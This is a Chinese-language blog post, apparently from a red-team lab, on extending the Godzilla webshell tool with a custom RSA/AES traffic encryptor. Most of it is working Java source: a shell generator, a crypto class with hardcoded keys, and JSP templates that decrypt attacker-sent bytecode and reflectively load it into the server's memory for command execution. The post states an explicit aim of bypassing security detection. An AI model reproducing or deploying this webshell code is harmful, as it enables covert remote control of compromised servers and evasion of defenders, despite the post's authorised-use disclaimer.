哥斯拉Godzilla | 加密器与shell模板二开(下)
2024-1-4 10:50:36 Author: 天擎攻防实验室(查看原文) 阅读量:37 收藏

博大作战中的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

1
前言

书接上回 哥斯拉Godzilla | 加密器与shell模板二开(上),我们希望实现以下两个目标

  • 添加一个JAVA_RSA加密器并且能生成JAVA_RSA加密器的shell

    即实现链式加解密如下:aes256->rsa->base64 请求的加密链base64->rsa->aes256 请求的解密链tohex->rsa 响应的加密链rsa->fromhex 响应的解密链
  • 对JAVA_RSA加密器的全局代码块模板以及通讯代码块模板代码进行修改

PS:加密器实现的代码全贴在下方,导致文章会略微冗长,不想先细看实现原理的可以先看结论再根据兴趣回溯文章。

2
JAVA_RSA加密器的实现逻辑

在shells.cryptions目录下,创建JavaRSA目录,并且在目录下:

  • 添加Generate类,主要负责生成shell逻辑

  • 添加JavaRSA类,主要负责请求和响应的加解密以及shell的初始化逻辑

  • 创建template目录,与JavaAes加密器的目录结构相同。rawCode_new.bin为通讯代码块模板文件,rawlobalCode_new.bin为全局代码块模板文件。shell.jsp、shell.jspx为针对jsp文件和jspx文件的格式不同,主要用于将初始化后的全局代码块和通讯代码块填入。

这时候,编译运行后,生成shell界面和连接设置shell界面已经有JAVA_RSA加密器可选了:

3
生成JAVA_RSA加密器的shell的Generate类

 参考JavaAes加密器的Generate类编写即可,主要代码如下

package shells.cryptions.JavaRSA;
import core.ApplicationContext;...
class Generate { private static final String[] SUFFIX = new String[]{"jsp", "jspx"};
Generate() { }
public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) throws Exception { byte[] data = null; String temp_suffix = "";
try { InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + "rawGlobalCode.bin"); String globalCode = new String(functions.readInputStream(inputStream)); inputStream.close(); globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey); inputStream = Generate.class.getResourceAsStream("template/" + shellName + "rawCode.bin"); String code = new String(functions.readInputStream(inputStream)); inputStream.close(); Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, (Object[])SUFFIX, (Object)null); if (selectedValue != null) { String suffix = (String)selectedValue; temp_suffix = suffix; if (!suffix.contains("tomcat_jsp_") && !suffix.contains("jsp_")) { if (suffix.contains("jspx")) { suffix = "jspx"; } } else { suffix = "jsp"; }
inputStream = Generate.class.getResourceAsStream("template/shell." + suffix); String template = new String(functions.readInputStream(inputStream)); inputStream.close(); if (suffix.contains("jspx")) { globalCode = globalCode.replace("<", "&lt;").replace(">", "&gt;"); code = code.replace("<", "&lt;").replace(">", "&gt;"); }
if (ApplicationContext.isGodMode()) { template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code)); } else if (temp_suffix != "jsp_unicode" && temp_suffix != "jspx_unicode") { template = template.replace("{globalCode}", globalCode).replace("{code}", code); } else { template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code)); }
data = template.getBytes(); } } catch (Exception var12) { Log.error(var12); }
if (temp_suffix != "") { byte var13 = -1; switch(temp_suffix.hashCode()) { case -2017970469: if (temp_suffix.equals("jsp_entity")) { var13 = 7; } break; case -621448043: if (temp_suffix.equals("jsp_cdata")) { var13 = 6; } break; case 895061235: if (temp_suffix.equals("tomcat_jsp_UTF_16BE")) { var13 = 2; } break; case 895061545: if (temp_suffix.equals("tomcat_jsp_UTF_16LE")) { var13 = 3; } break; case 895116973: if (temp_suffix.equals("tomcat_jsp_UTF_32BE")) { var13 = 4; } break; case 895117283: if (temp_suffix.equals("tomcat_jsp_UTF_32LE")) { var13 = 5; } break; case 1759355027: if (temp_suffix.equals("tomcat_jsp_IBM037")) { var13 = 0; } break; case 1759357128: if (temp_suffix.equals("tomcat_jsp_IBM290")) { var13 = 1; } }
switch(var13) { case 0: data = jspencounter.tomcat_jsp_IBM037(data); break; case 1: data = jspencounter.tomcat_jsp_IBM290(data); break; case 2: data = jspencounter.tomcat_jsp_UTF_16BE(data); break; case 3: data = jspencounter.tomcat_jsp_UTF_16LE(data); break; case 4: data = jspencounter.tomcat_jsp_UTF_32BE(data); break; case 5: data = jspencounter.tomcat_jsp_UTF_32LE(data); break; case 6: data = jspencounter.jsp_cdata(data); break; case 7: data = jspencounter.jsp_entity(data); } }
return data; }
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) throws Exception { return GenerateShellLoder("", pass, secretKey, isBin); }}

4

4

请求和响应的加解密链,JAVARSA类的实现

主要代码实现如下,可参考注释进行自定义修改:

package shells.cryptions.JavaRSA;
import core.annotation.CryptionAnnotation;...
@CryptionAnnotation( Name = "JAVA_RSA", payloadName = "JavaDynamicPayload") public class JavaRSA implements Cryption { private ShellEntity shell; private Http http; private boolean state; private byte[] payload; private String pass; private static final SecureRandom random = new SecureRandom(); private static final String aesMode = "AES/CFB/NoPadding"; private String PublicKeyStr = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMFFSCqK6s7dRRuDlh2LYy8QwCIqPAjFQF6uY2DhIdU2zzR1VwMLpqYmA9jj7fDhFh8k5pnfi4nmYyu+9ACr67UCAwEAAQ=="; private String PrivateKeyStr = "MIIBVQIBADANBgkqhkiG9w0BAQEFAASCAT8wggE7AgEAAkEAwUVIKorqzt1FG4OWHYtjLxDAIio8CMVAXq5jYOEh1TbPNHVXAwumpiYD2OPt8OEWHyTmmd+LieZjK770AKvrtQIDAQABAkAosBI6SpaWSET1PuWKgL63uNoKF0QeQJCFnkbzrVG3Ff3dkv0dDr1vDkw+11hR4dFCs91+zpSAzsFXhoKyoGd9AiEA8Y8Op87MCJSwxwT9kzNZfCkHvdnLKYxOa6l5jS1fpmcCIQDM0zJr4vZ76aT5MWxkGzXKdDDvVFSrVJLTCyb8fErzgwIhAImLYNfya8FzERmx4MWhlpGZN1xGGGXHC5xIOvtFW9J/AiEApslbh4qbV6+cDOb38lRN6vvOVTSAdbs6i+vK5VJ43e0CICU6hajYbx4JpxziEY06MGBS9u8+wW+C8NoavFo9xl3b"; private byte[] publicKeyBytes; private byte[] privateKeyBytes; public JavaRSA() { this.publicKeyBytes = Base64.getDecoder().decode(this.PublicKeyStr); this.privateKeyBytes = Base64.getDecoder().decode(this.PrivateKeyStr); } public static byte[] hex2b(String data) { byte[] byteArray = (new BigInteger(data, 36)).toByteArray(); if (byteArray[0] == 0) { byte[] output = new byte[byteArray.length - 1]; System.arraycopy(byteArray, 1, output, 0, output.length); return output; } else { return byteArray; } } public static String b2hex(byte[] data) { return (new BigInteger(1, data)).toString(36).toLowerCase(); } public static String b2s(byte[] data) { try { return new String(data, "utf-8"); } catch (Exception var2) { return ""; } } public static byte[] s2b(String data) { try { return data.getBytes("utf-8"); } catch (Exception var2) { return new byte[0]; } } public static String randLetter(int len) { if (len == 0) { len = random.nextInt(5) + 1; } StringBuilder s = new StringBuilder(); while(len-- > 0) { s.append((char)(97 + (int)(Math.random() * 26.0D))); } return s.toString(); } public static String randomChar(int len) { StringBuilder s = new StringBuilder(); len = random.nextInt(len) + 1; for(int i = 0; i < len; ++i) { s.append((char)(19968 + (int)(Math.random() * 20901.0D))); } return b2s(s.toString().getBytes()); } public static String insertRandomChar(String data) { StringBuilder s = new StringBuilder(); try { for(int i = 0; i < data.length(); ++i) { char ch = data.charAt(i); s.append(ch); if (random.nextInt() % 11 == 0) { s.append(randomChar(1)); } else if (random.nextInt() % 11 == 0) { s.append(randLetter(1).toUpperCase()); } } } catch (Exception var4) { System.out.println(var4.getMessage()); } return s.toString(); } public static byte[] aesEncrypt(byte[] s, String k) { try { Cipher c = Cipher.getInstance("AES/CFB/NoPadding"); c.init(1, new SecretKeySpec(k.getBytes(), "AES"), new IvParameterSpec(k.getBytes())); return c.doFinal(s); } catch (Exception var3) { return null; } } public static String obf_req(String data) { data = insertRandomChar(data); ArrayList<String> params = new ArrayList(); int left = data.length(); int len; for(int now = 0; left != 0; now += len) { len = random.nextInt(30) + 10; len = len > left ? left : len; String value = data.substring(now, now + len); String key = randLetter(0); params.add(key + "=" + value); left -= len; } return String.join("&", params); } // 对byte数组进行base64解密 public static byte[] base64Decode(byte[] bytes) { .... } // aes256加解密函数 public byte[] aes256(byte[] s, int mode) { try { Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding"); IvParameterSpec ivParameterSpec = new IvParameterSpec(base64Decode("jqQX+kVKd9FqgFWQZoSL3g==".getBytes())); c.init(mode, new SecretKeySpec(base64Decode("SMD6c9EaslWjUSTZW5HNfYKV6NUATLub+uNO3Ey+nHA=".getBytes()), "AES"), ivParameterSpec); return c.doFinal(s); } catch (Exception var5) { return null; } } //对string进行base64解密 public static byte[] base64Decode(String bs) throws Exception { ... } public static byte[] rsa_publickey(byte[] input, int mode, byte[] publicKeyBytes) throws Exception { ... } // rsa使用私钥进行加解密的函数 public static byte[] rsa_privatekey(byte[] input, int mode, byte[] privateKeyBytes) throws Exception { Cipher cipher = Cipher.getInstance("RSA"); PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyBytes); KeyFactory keyFactory = KeyFactory.getInstance("RSA"); PrivateKey privateKey = keyFactory.generatePrivate(keySpec); // 根据密钥的大小(密钥的长度)   int keySize = ((RSAKey)privateKey).getModulus().bitLength(); // 为加密模式时,每一块最大数据块应为keySize/8-11,因为加密是会预留11字节进行填充。解密则是直接按照keySize/8作为块进行解密 int MAX_BLOCK = mode == 1 ? keySize / 8 - 11 : keySize / 8; cipher.init(mode, privateKey); int inputLength = input.length; int offset = 0; ByteArrayOutputStream outputStream; int blockSize;   //以MAX_BLOCK作为加解密偏移块,即:位移大小,(还需要考虑最后一块区域小于MAX_BLOCK,所以要用Math.min) for(outputStream = new ByteArrayOutputStream(); inputLength - offset > 0; offset += blockSize) { blockSize = Math.min(inputLength - offset, MAX_BLOCK); byte[] processedBlock = cipher.doFinal(input, offset, blockSize); outputStream.write(processedBlock); } return outputStream.toByteArray();   } returnoutputStream.toByteArray(); } //对byte数组转16进制 public static byte[] toHex(byte[] bytes) { int l = bytes.length; byte[] out = new byte[l * 2]; int j = 0; for(int i = 0; i < l; ++i) { byte b = bytes[i]; out[j++] = (byte)Character.forDigit(b >> 4 & 15, 16); out[j++] = (byte)Character.forDigit(b & 15, 16); } return out; } // 对byte数组进行base64加密 public static byte[] base64Encode(byte[] bytes) { return Base64.getEncoder().encode(bytes); }
public void init(ShellEntity context) { this.shell = context; this.http = this.shell.getHttp();
try { this.payload = this.shell.getPayloadModule().getPayload(); if (this.payload != null) { this.http.sendHttpResponse(this.payload); this.state = true; } else { Log.error("payload Is Null"); } } catch (Exception var3) { Log.error(var3); }
}
// 对请求进行链式加密 aes256->rsa->base64 public byte[] encode(byte[] data) { try { String pass_str = "tn"; byte[] final_byte = this.aes256(data, 1); final_byte = rsa_privatekey(final_byte, 1, this.privateKeyBytes); final_byte = base64Encode(final_byte); return (pass_str + "=" + URLEncoder.encode(functions.base64EncodeToString(final_byte))).getBytes(); } catch (Exception var4) { Log.error(var4); return null; } } //还原byte数组的hex数据 public static byte[] fromHex(byte[] hexBytes) { int l = hexBytes.length / 2; byte[] out = new byte[l]; int i = 0;
for(int j = 0; i < l; j += 2) { int high = Character.digit(hexBytes[j], 16); int low = Character.digit(hexBytes[j + 1], 16); out[i] = (byte)((high << 4) + low); ++i; }
return out; }
//响应的链式解密 rsa->fromhex 响应的解密链 public byte[] decode(byte[] data) { try { byte[] decode_final_byte = rsa_privatekey(data, 2, this.privateKeyBytes); decode_final_byte = fromHex(decode_final_byte); return decode_final_byte; } catch (Exception var3) { Log.error(var3); return null; } }// 是否在post请求体中前后插入数据(如果用户输入了的话) public boolean isSendRLData() { return true; }
public boolean check() { return this.state; }
public byte[] generate(String password, String secretKey) { try { return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false); } catch (Exception var4) { throw new RuntimeException(var4); } }
static { random.setSeed((new Date()).getTime()); }}

//生成RSA公私钥的代码public static String[] generateKeyPair_all() throws Exception {        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");               keyPairGenerator.initialize(512); // 密钥长度,可以根据需要调整                KeyPair keyPair = keyPairGenerator.generateKeyPair();                PublicKey publicKey = keyPair.getPublic();                PrivateKey privateKey = keyPair.getPrivate();                String publicKeyString = Base64.getEncoder().encodeToString(publicKey.getEncoded());                String privateKeyString = Base64.getEncoder().encodeToString(privateKey.getEncoded());                return new String[]{publicKeyString,privateKeyString};       }          public static void main(String[] args) throws Exception {                String[] Key_Pair = generateKeyPair_all();                String publicKeyString = Key_Pair[0];                String privateKeyString = Key_Pair[1];                System.out.println(publicKeyString+"\n");                System.out.println(privateKeyString);     }
5
全局代码块模板和通讯代码块模板的实现
在Godzilla原版的JAVA_AES_BASE64加密器的全局代码块模板中,创建了一个类继承ClassLoader以调用defineClass方法,使得通讯代码块能调用,向内存注入恶意payload。此shell特征较为明显,无法bypass一些安全检测。所以可以参考文章:实战分析某红队魔改哥斯拉Webshell https://mp.weixin.qq.com/s/Fx3BfvLXjNM9BhzCCqz2SA 。以此文章进行更改全局代码块模板和通讯代码块模板,并且根据链式加解密的需求添加相关代码,完成两个模板文件的编写和修改。
5.1
JAVA_RSA加密器的全局代码块模板

主要代码实现如下:

    public static byte[] aes256(byte[] s, int mode) {        try {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");            javax.crypto.spec.IvParameterSpec ivParameterSpec = new javax.crypto.spec.IvParameterSpec(base64Decode(                    "jqQX+kVKd9FqgFWQZoSL3g==".getBytes()));            c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("SMD6c9EaslWjUSTZW5HNfYKV6NUATLub+uNO3Ey+nHA=".getBytes()), "AES"), ivParameterSpec);            return c.doFinal(s);        } catch (Exception e) {            return null;        }    }    public static byte[] base64Decode(byte[] bytes) {            Class base64;            byte[] value = null;            Object decoder;            try {                base64 = Class.forName("java.util.Base64");                decoder = base64.getMethod("getDecoder", null).invoke(base64, null);                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});            } catch (Exception e) {                try {                    base64 = Class.forName("sun.misc.BASE64Decoder");                    decoder = base64.newInstance();                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});                } catch (Exception e2) {                }            }            return value;        }    public static byte[] rsa(byte[] input, int mode) throws Exception {            byte[] publicKeyBytes = base64Decode("MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMFFSCqK6s7dRRuDlh2LYy8QwCIqPAjFQF6uY2DhIdU2zzR1VwMLpqYmA9jj7fDhFh8k5pnfi4nmYyu+9ACr67UCAwEAAQ==".getBytes());            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("RSA");            java.security.spec.X509EncodedKeySpec keySpec = new java.security.spec.X509EncodedKeySpec(publicKeyBytes);            java.security.KeyFactory keyFactory = java.security.KeyFactory.getInstance("RSA");            java.security.PublicKey publicKey = keyFactory.generatePublic(keySpec);            int keySize = ((java.security.interfaces.RSAKey) publicKey).getModulus().bitLength();            int MAX_BLOCK = mode == cipher.ENCRYPT_MODE ? keySize / 8 - 11 : keySize / 8;            cipher.init(mode, publicKey);            int inputLength = input.length;            int offset = 0;            java.io.ByteArrayOutputStream outputStream = new java.io.ByteArrayOutputStream();            while (inputLength - offset > 0) {                int blockSize = Math.min(inputLength - offset, MAX_BLOCK);                byte[] processedBlock = cipher.doFinal(input, offset, blockSize);                outputStream.write(processedBlock);                offset += blockSize;            }            return outputStream.toByteArray();        }    public static byte[] toHex(byte[] bytes) {        int l = bytes.length;        byte[] out = new byte[l * 2];        int j = 0;        for (int i = 0; i < l; i++) {            byte b = bytes[i];            out[j++] = (byte) Character.forDigit((b >> 4) & 15, 16);            out[j++] = (byte) Character.forDigit((b & 15), 16);        }        return out;    }    

5.2
JAVA_RSA加密器所使用的通讯代码块模板

主要代码实现如下:

try{  byte[] requestData = base64Decode(request.getParameter("tn").getBytes());  requestData = base64Decode(requestData);  requestData = rsa(requestData, 2);  requestData = aes256(requestData, 2);  Class res_vt = null;if (application.getAttribute("rsv_dl") == null) {  Class PB=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");  java.lang.reflect.Constructor  c=PB.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class});  c.setAccessible(true);  Object tadfasf=Thread.currentThread().getContextClassLoader();  Object  d=c.newInstance(new Object[]{tadfasf,tadfasf});  java.lang.reflect.Method lll = PB.getSuperclass().getDeclaredMethod("defineClass",new Class[]{byte[].class,int.class,int.class});  lll.setAccessible(true);  Class zz=(Class) lll.invoke(d, new Object[]{requestData, 0, requestData.length});  application.setAttribute("rsv_dl",zz);}else{  request.setAttribute("parameters", requestData);  java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();  Object f = ((Class) application.getAttribute("rsv_dl")).newInstance();  f.equals(arrOut);  f.equals(pageContext);  f.toString();  byte[] respon_data = arrOut.toByteArray();  respon_data = toHex(respon_data);  respon_data = rsa(respon_data,1);  arrOut.reset();  response.getOutputStream().write(respon_data);}}catch(Exception e){}

6
JAVA_RSA加密器的shell的生成、测试和连接
6.1
生成JAVA_RSA加密器的shell,并且成功解析

6.2
shell测试连接成功

javaRSA.jsp连接成功

 

6.3
命令执行成功,功能使用正常

自定义的加密器的流量如下图所示

7
总结

文章受众/应用场景:没有c2profile或者不会写c2profile的,想了解和二开Godzila,添加自己觉得更有意思的diy功能的。

此次简单二开的缺点:灵活程度与C2相比扩展性差、流量层面隐匿性弱、代码层面shell代码可读性高。

源码也全在文章当中,可自行编译尝试,知识星球也存放了一份完整的编译版本学习demo安全路远,交流技术可添加:


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MzQyMjA1NA==&mid=2247484315&idx=3&sn=4d6aac452641357e2fa6192c3aa0cd7c&chksm=fd167c72d0f259ad7f57da48f5472a281abe95b48aa86b0bcc363893d4ca27e922740e6fe103&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh